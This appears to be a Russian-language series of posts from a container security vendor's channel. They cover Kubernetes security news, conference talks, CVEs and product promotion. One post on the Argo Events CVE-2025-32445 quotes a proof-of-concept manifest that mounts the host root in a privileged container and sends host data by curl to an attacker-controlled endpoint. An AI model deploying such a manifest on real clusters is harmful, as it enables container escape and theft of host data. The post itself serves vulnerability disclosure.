В преддверии KubeCon Europe 2025 прошел Cloud Native Rejekts Europe 2025 и уже доступны все записи докладов:
- Первый день зал The Nash
- Первый день зал The Waterloo
- Второй день зал The Nash
- Второй день зал The Waterloo

Отдельно отметить доклады:
- Kyverno Chronicles: A DevSecOps Tale
- Immutable Turtles All the Way Down – Image-Based Kubernetes to power In-Place Updates
- The future of configurability in Kubernetes with Common Expression Language (CEL)
- Pod Deep Dive: Everything You Didn't Know You Needed to Know
- What I wish I knew about container security
- Who Secures the Service Mesh? Mind the Gap in Your Mesh
- Securing AI/ML Workflows: Optimizing Container Images in Kubernetes Environments
- The Service Mesh Wars: A New Hope for Kubernetes
- The Kubernetes Guardians: A Deep Dive Into Your Security Avengers
- API-Driven Security Automation for AKS: Falco Talon meets eBPF-powered Retina

Смотреть, не пересмотреть, но мы вам позже обо всем этом расскажем ;)

С 30 по 31 марта в Лондоне, в предверии KubeCon Europe 2025, прошла конференция Cloud Natvie Rejekts Europe 2025. Для тех кто не знает, напомним – на этой конференции спикеры это те люди, которых не взяли в основную программу KubeCon.

Securing AI/ML Workflows: Optimizing Container Images in Kubernetes Environments – доклад, который не остался незамеченным. В нём, Wojciech Kocjan, рассказывает как готовить тонкие образы для AI / ML нужд – минимизируя ненужные зависимости, выбирая безопасные базовых образы, и оптимизируя время сборки.

Доклад доступен в записи трансляции.

В официальном блоге Kubernetes вышла статья "Kubernetes v1.33 sneak peek", посвященная предстоящему релизу новой версии. С точки зрения безопасности этот релиз примечателен тем, что в нем наконец-то спустя 9 лет до GA доберётся KEP-127: Support User Namespaces in pods! И это прям очень круто для безопасности контейнеров в Kubernetes - можно сказать настоящая веха и понятия root пользователя будет делиться на до этого момента и после этого момента) Почему именно так? Можно ознакомиться в прошлогоднем докладе с нашей конференции БеКон под названием "Linux user namespace в чертогах Kubernetes".

Подготовка к нашей конференции БеКон 2025 идет полным ходом: программа формируются, партнеры подписываются, первый мерч готовится, стикерпак печатается!

До 3 июня уже не так-то и много времени осталось и возможность взять билеты по самой низкой цене ;)

P.S. Билетов ограниченное количество, все с учетом размеров площадки, чтобы всем было комфортно.

Сегодня еще один пост про Linux user namespace ;)

Но уже про баги, точнее про обход механизма безопасности, который придумали и внедрили разработчики Ubuntu в свою ОС (в других ОС такой механизм вообще отсутствует). Оригинальный материал в заметке от исследователей называется "Three bypasses of Ubuntu's unprivileged user namespace restrictions" и описывает 3 способа обхода механизма sysctl kernel.apparmor_restrict_unprivileged_userns, через:
1) aa-exec
2) busybox
3) LD_PRELOAD

Если кратко, то задача данного механизма в том чтобы когда непривилегированный пользователь создавал unprivileged user namespace в нем не содержалось опасных административных capabilities (типа CAP_SYS_ADMIN или CAP_NET_ADMIN), которые чрезвычайно увеличивают поверхность атаки на ядро ОС.

Получение таких привилегий может в дальнейшем использоваться для ядерных эксплойтов, например чтобы сбежать из контейнера. О таком мы уже рассказывали тут.

Недавно прошел KubeCon + CloudNativeCon Europe 2025 и видео еще не доступны, но есть уже слайды по некоторым докладам.

Хочется отметить доклад "Enhancing Software Composition Analysis Resilience Against Container Image Obfuscation", который продолжает тему сокрытия уязвимостей в образах контейнеров. Мы писали об этом тут, тут и тут. Но на этот раз ребят подошли тут к вопросу с академической точки зрения и со всеми соответствующими атрибутами этого. И у них получилось отлично дополнить картину прошлых работ. Также они выложили репозитарий с кодом "Container obfuscation benchmark", чтобы можно было повторить их эксперимент.

В очередной раз хочется сказать, что стройте ZeroTrust защиту, а не вокруг управления уязвимостями - они были, есть и будут (их еще и спрячут от вас).

P.S. Ближайшие 2 дня наша команда на DevOpsConf 2025 - будем рады пообщаться лично!

Сегодня хотим поделиться с вами статьей Signed container images in Kubernetes with Sigstore and HashiCorp Vault.

В ней автор рассказывает о том, как можно использовать подписанные docker images совместно с Vault, а именно более подробно говорит про:

- написание политик
- конфигуририрование Vault
- подпись и верификация container image
- загрузка подписи в репозиторий
- конфигурирование image signing policies через CRD

Давайте сегодня познакомимся с online-площадками, где можно потренироваться в написании политик для Policy Engine как внешних по отношению к Kubernetes, так и встроенным:

1) Kyverno Playground - очевидно что для политик для Kyverno как на YAML, так и на CEL
2) Rego Playground - для политик OPA Gatekeeper на Rego (хотя OPA Gatekeeper уже поддерживает и CEL)
3) CEL Playground - для политик Validating Admission Policy на CEL

Думаем что легко можно заметить сильное влияние Kubernetes Validating Admission Policy, появившегося в GA в 1.30, с его CEL.

P.S. Если вы по сей день не используете никакой из этих 3-х движков, то непонятно как вы строите безопасность Kubernetes кластера ....

Всем, привет!

Хотим напомнить, что с завтрашнего дня будет повышение цен на билеты на нашу конференцию по БЕзопасности КОНтейнеров и Kubernetes - БеКон!

Прием заявок на доклады уже остановлен, идет их анализ и уже совсем скоро мы начнем их постепенно публиковать ;)

Сегодня хотим поделиться очередным новым проектом с просторов GitHub – Dracan. Довольно сложно описать Dracan одним предложением, однако скорее его можно отнести к чему-то между Authorization Policy от Istio, Network Policy и WAF. Сейчас он умеет следующее:

- HTTP Method Filtering
- JSON Validation
- Request Limiting
- Payload Limitation
- URI Filtering
- Header Validation

Авторы позиционируют его как легковесный инструмент, для эксплуатации которого не нужен опыт настройки WAF или большая DevOps экспертиза.

В Open Source версии Calico 3.30 появится собственный web-based графический интерфейс для просмотра и фильтрации flow логов для разбора проблем с соединениями и анализа работы NetworkPolicy. Данный компонент называется Whisker и состоит из трех компонентов:
1) Whisker UI - фронтенд
2) Whisker backend - бэкенд для получения данных
3) Goldmane - gRPC API server

Начинаем эту неделю с интересной статьи – Cloud Digital Forensics and Incident Response — Elastic Kubernetes Service Takeover Leads to Cryptominer Deployment.

В ней автор, на примере вымышленной истории, рассказывает как можно проводить форензику в AWS. Не смотря на то, что история вымышлена, в ней приводятся реальные техники атакующих – web application command injection, Instance Metadata Service (IMDS) access, JSON Web Token (JWT) abuse, и valid credential abuse.

Также автор показывает как расследовать такой инцидент, используя web server logs, container logs, CloudWatch Kubernetes logs, и CloudTrail logs.

Мало хорошо разбираться в Kubernetes и его безопасности - он все равно тебя сможет рано или поздно удивить. И в таких ситуациях важно знать кто может подсказать в том или ином вопросе ;) Одним из людей к которым я периодически обращаюсь является Миша Петров и он не так давно завел свой канал по k8s и не только - Azalio_tech.

И тут хотелось бы обратить ваше внимание на его последний пост про отключение анонимного доступа к kube-apiserver, но оставляя health checks! Оказывается это возможно, но только придется похимичить с конфигами на новых версиях куба 1.31, 1.32.

Про опасность анонимного доступа и почему его важно отключать мы писали ранее тут и тут.

22 апреля в 11:00 наша команда Luntry проведет вебинар «Безопасность контейнеров и Kubernetes для специалистов анализа качества».

Вы можете задаться вопросом кого мы понимаем тут под специалистами анализа качества? Это специалисты, которым приходится проводить:
- Приёмо-сдаточные испытания (ПСИ) как для внутренних разработок, так и внешних/заказных
- Сертификацию программного обеспечения
- Разбираться с "черными ящиками"

И все это, конечно, в контейнерном исполнении для Kubernetes. И естественно мы покажем как эту нетривиальную задачу можно очень просто решить с помощью нашего решения Luntry.

Зарегистрироваться можно здесь.

P.S. Этот вебинар продолжение серии вебинаров, которые уже показывали как Luntry может помочь CISO и SOC. Далее еще будет для DevSecOps специалистов, разработчиков, безопасников, отвечающих за сетевую безопасность и т.д.

Вселенная Argo не ограничивается только лишь Argo CD. Так например, совсем недавно была раскрыта уязвимость CVE-2025-32445 с оценкой 10/10 по CVSS в Argo Events, позволяющая пользователю с правами на создание кастомных ресурсов EventSource и Sensor сбежать из контейнера и получить полный контроль над кластером.

Всё дело в том, что Argo Events обрабатывал поля securityContext (и другие) в EventSource, хотя этого не было явно указано в документации. В качестве PoC исследователь приложил следующий YAML манифест, в результате которого на сервер атакующего отправится hostname хоста и листинг /run/containerd/containerd.sock:

apiVersion: argoproj.io/v1alpha1
kind: EventSource
metadata:
  name: poc-vulnerable-eventsource
spec:
  webhook:
    security-test:
      port: "12000"
      endpoint: "/webhook"
  template:
    container:
      image: ubuntu:latest
      command: ["/bin/bash"]
      args: [
        "-c",
        "apt-get update && apt-get install -y curl && while true; do
         rm -f /tmp/data;
         echo '=== containerd socket ===' > /tmp/data 2>&1;
         ls -la /host/run/containerd/containerd.sock >> /tmp/data 2>&1;
         echo '=== proof of host access ===' >> /tmp/data 2>&1;
         cat /host/etc/hostname >> /tmp/data 2>&1;
         curl -X POST --data-binary @/tmp/data http://<attacker-controlled-endpoint>:8000/;
         sleep 300;
         done"
      ]
      securityContext:
        privileged: true
        capabilities:
          add: ["SYS_ADMIN"]
      volumeMounts:
        - name: host-root
          mountPath: /host
    volumes:
      - name: host-root
        hostPath:
          path: /

В версии 1.9.6 уязвимость исправили, разрешив пользователю ограниченно выставлять .spec.template.container.

Стали доступны видеозаписи (378 штук) и слайды с KubeCon + CloudNativeCon Europe 2025!

Следующие KubeCon + CloudNativeCon в этом году будут:
- Hong Kong, China (June 10-11);
- Tokyo, Japan (June 16-17);
- Hyderabad, India (August 6-7);
- Atlanta, US (November 10-13).

P.S. А 3 июня в Москве состоится БеКон 2025 ;)

Мы начинаем публиковать доклады с программы БеКон 2025!

1) "Без секретов! Workload Identity Federation: безопасная аутентификация в облаке" (Дмитрий Лютов, Yandex Cloud)

Строить безопасность в облаке без механизма Workload Identity очень сложная задача. И если в западных облаках его наличие уже само собой разумеющееся, то в наших просторах далеко не все вообще знают что это за зверь такой. Задача этого доклада рассказать как опасно жить без него, как он устроен и как спасает.

2) "Неочевидные и непонятные моменты безопасности Kubernetes" (Дмитрий Евдокимов, Luntry)

Рабочее название доклада было "Ворчание старого деда про k8s security". А лейтмотивом стали вопросы на тренингах "Почему так?", "Почему до сих пор так?", "Почему не иначе?", "Доколе?" и т.д. В итоге, сформировался список таких моментов.

За детальным описанием можно обратиться сюда.

Исследователи из Trend Micro, обнаружившие CVE-2025-23359 (bypass после фикса CVE-2024-0132 о которой мы рассказывали тут) выпустил статью Incomplete NVIDIA Patch to CVE-2024-0132 Exposes AI Infrastructure and Data to Critical Risks, в которой раскрыли некоторые подробности.

Так например, они обнаружили некоторые проблемы производительности при использовании нескольких mount в контейнере, которые могут привести к DoS (о той же проблеме производительности независимо сообщили moby и NVIDIA):

1. Когда новый контейнер создается с несколькими маунтами, настроенными с помощью (bind-propagation=shared), устанавливаются несколько родительских/дочерних путей. Однако связанные записи не удаляются из таблицы монтирования Linux после завершения работы контейнера.

2. Это приводит к быстрому и неконтролируемому росту таблицы монтирования, исчерпывая доступные файловые дескрипторы (fd). В конце концов Docker не может создавать новые контейнеры из-за исчерпания fd.

3. Эта чрезмерно большая таблица монтирования приводит к серьезным проблемам с производительностью, не позволяя пользователям подключаться к хосту (например, через SSH).

Основываясь на этом были раскрыты некоторые детали для эксплуатации CVE-2025-23359 (но PoC так и не предоставили):

1. Злоумышленник создает два вредоносных образа контейнера, соединенных друг с другом с помощью символической ссылки volume.
2. Злоумышленник запускает образ на платформе жертвы напрямую или косвенно
3. Это позволяет злоумышленнику получить доступ к файловой системе хоста через состояние гонки.
4. Используя этот доступ, злоумышленник впоследствии может получить доступ к сокетам Container Runtime Unix для выполнения произвольных команд с привилегиями root, т. е. получить полный удаленный контроль над скомпрометированной системой.

Рады представить новую статью в блоге про то, как наше решение Luntry помогает справиться с нашумевшим IngressNightmare!

Помимо того, что мы детально разбираем сам процесс эксплуатации, так и показываем как с помощью Luntry можно защититься абсолютно на всех уровнях и так как умеем только мы! Обнаружить и предотвратить это с помощью:
- Сканирования образа
- Runtime защиты в гибридном формате
- Генерации NetworkPolicy

По сути можно было даже защититься (обнаружить и предотвратить), когда эти уязвимости были 0day!

P.S. Кстати не так давно мы обновили наш сайт и лого. Как вам ?)

P.S.S. Уже завтра состоится вебинар «Безопасность контейнеров и Kubernetes для специалистов анализа качества»